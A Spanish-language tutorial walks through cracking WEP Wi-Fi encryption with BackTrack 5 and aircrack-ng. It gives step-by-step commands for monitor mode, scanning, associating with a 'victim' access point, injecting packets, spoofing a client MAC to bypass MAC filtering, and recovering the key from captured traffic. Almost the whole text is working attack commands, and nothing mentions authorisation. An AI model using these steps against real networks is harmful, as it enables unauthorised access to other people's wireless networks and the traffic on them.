CRACKEO DE ENCRIPTACION WEP CON BACKTRACK 5 REVOLUTION
Abrimos una Terminal (consola 1):
1. Configurar la secuencia de Arranque de la PC (USB o Lectora como primer dispositivo de arranque), donde este el BackTrack.
2. Escribimos el comando startx para cargar el Entorno Grafico
3. Ponemos la tarjeta en modo monitor con airmon-ng
airmon-ng start [nombre tarjeta inalámbrica] --> wlan0, wlan1, ath0,.
Ejemplo: airmon-ng start wlan0
En modo monitor, la tarjeta quedara renombrada como: mon0 o mon1
4. Escaneamos las redes wireless con airodump-ng
airodump-ng [nombre tarjeta inalámbrica] --> mon0, mon1…..
Ejemplo: airodump-ng mon0
Verificamos el canal (CH) en el que está trabajando la red al cual atacaremos.
5. Presionamos Ctrl + c para detener el escaneo.
6. Escaneamos las la red seleccionada en un canal especifico y guardamos la captura en un archivo con airodump-ng
airodump-ng -c [numero canal] –w [nombre archivo] [nombre tarjeta wifi]
Ejemplo: airodump-ng –c 6 –w wep mon0
Caso 1: Red sin Filtro de MAC:
Abrimos otra Terminal (consola 2):
1. Nos asociamos a la red inalámbrica con aireplay-ng
aireplay-ng -1 0 -a [MAC AP Victima] [nombre tarjeta wifi]
Ejemplo: aireplay-ng -1 0 –a 11:22:33:44:55:66 mon0
2. Empezamos a inyectar paquetes a la red asociada con aireplay-ng
aireplay-ng -3 -b [MAC AP Victima] [nombre tarjeta wifi]
Ejemplo: aireplay-ng -3 –b 11:22:33:44:55:66 mon0
Caso 2: Red con Filtro de MAC:
Abrimos otra Terminal (consola 2):
1. Nos asociamos a la red inalámbrica con aireplay-ng
aireplay-ng -1 0 -a [MAC AP Victima] –h [MAC cliente Victima] [nombre tarjeta wifi]
Ejemplo: aireplay-ng -1 0 –a 11:22:33:44:55:66 -h 66:55:44:33:22:11 mon0
2. Empezamos a inyectar paquetes a la red asociada con aireplay-ng
aireplay-ng -3 -b [MAC AP Victima] –h [MAC cliente Victima] [nombre tarjeta wifi]
Ejemplo: aireplay-ng -3 –b 11:22:33:44:55:66 -h 66:55:44:33:22:11 mon0
Abrimos otra Terminal (consola 3):
1. Una vez capturado una gran cantidad de datos (Data) vamos a crackear la red inalámbrica con aircrack-ng
aircrack-ng [filename]-01.cap
Ejemplo: aircrack-ng wep-01.cap